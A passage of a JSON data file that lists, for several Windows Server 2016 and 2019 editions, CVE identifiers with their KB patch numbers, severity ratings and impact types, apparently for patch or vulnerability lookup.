Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2019":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of 